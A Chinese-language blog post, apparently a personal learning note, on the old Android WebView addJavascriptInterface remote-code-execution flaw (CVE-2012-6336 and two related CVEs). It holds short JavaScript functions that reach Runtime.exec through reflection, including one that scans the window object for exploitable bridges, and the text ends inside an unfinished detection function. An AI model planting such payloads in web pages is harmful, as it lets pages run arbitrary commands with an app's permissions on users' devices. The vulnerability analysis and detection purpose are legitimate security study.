2015年就了解了这个漏洞,但只是简单的试了一下,时间一久就忘记了。导致16年无任何准备的条件下,给面试官讲这个漏洞都讲不清楚,丢人。最近学习了一下web安全相关的知识,就顺便在看了一下这个老的Webview漏洞。全程几乎没有什么干货,就当做个记录。
一、几个老的CVE
CVE-2012-6336:WebView RCE漏洞原型,对于使用了Webview API:addJavaScriptInterface()的Webview,会向网页中的js导出一个Object。在JS中,可以利用这个Object和本地App的Java代码通信。由于Java支持反射,导致在JS代码中,可以利用这个导出的Object来反射调用本地代码,从而导致了任意代码执行。即JavaScript的网页可以利用App具有的权限执行任意代码。Google Android <= 4.1.2 (API level 16) 受到此漏洞的影响。
CVE-2014-1939:基于上面的漏洞,3.0以后的Android系统上通过API addJavaScriptInterface()添加了一个SearchBoxImpl类的对象searchBoxJavaBridge_。所以通过searchBoxJavaBridge_对象就可以反射,从而RCE。Google Android <= 4.3.1 受到此漏洞的影响
CVE-2014-7224: 和上面第二个基本差不多,Android系统服务的代码添加了两个对象accessibility和accessibilityTraversal。Google Android < 4.4 受到此漏洞的影响二、漏洞分析及检测
以下主要分析CVE-2012-6336这个漏洞,其他两个就这个特例。
现在Hybrid App很多,Webview使用频繁。为了本地Java和网页端的JS交互,一些App需要在WebView中调用addJavaScriptInterface来添加一个对象用户通信。这样JS中可以利用反射特性来任意执行代码,关于这点上面已经做了说明。下面以几个问题形式,说明如何检测一个App中是否存在这样的漏洞。
在JS中获得了Webview中导出的Object,只要通过以下代码就可以就可以进行反射并RCE。
function execute(cmd){
/*jsObject是导出的Object*/
return window.jsObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
1. 获取导出给JS的Object对象
对于一个待测的App,导出给JS的Object名字不是那么容易找的,通过静态分析方式比较麻烦,可能做不到。那么,怎么才能获取导出给JS的Object名字?
获取导出给JS的Object名字的目的就是为了从这个Object开始反射。对于Java反射,getClass()方法至关重要 。而JS可以遍历window对象,找到存在“getClass”方法的对象。于是通过遍历window方式找到导出来的可以被JS调用的Object。
/*遍历window对象,找出可以被利用来反射的Object*/
function execute(cmd){
for(var obj in window){
if("getClass" in window[obj]){
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
}
}
2. 检测代码
有了上述方法,检测一个WebView是否存在漏洞也就简单了,只需要使用一个网页来检测是否可以找到存在“getClass”方法的对象。
function detectVul(){
for(var obj in window){
if("getClass" in window[obj]){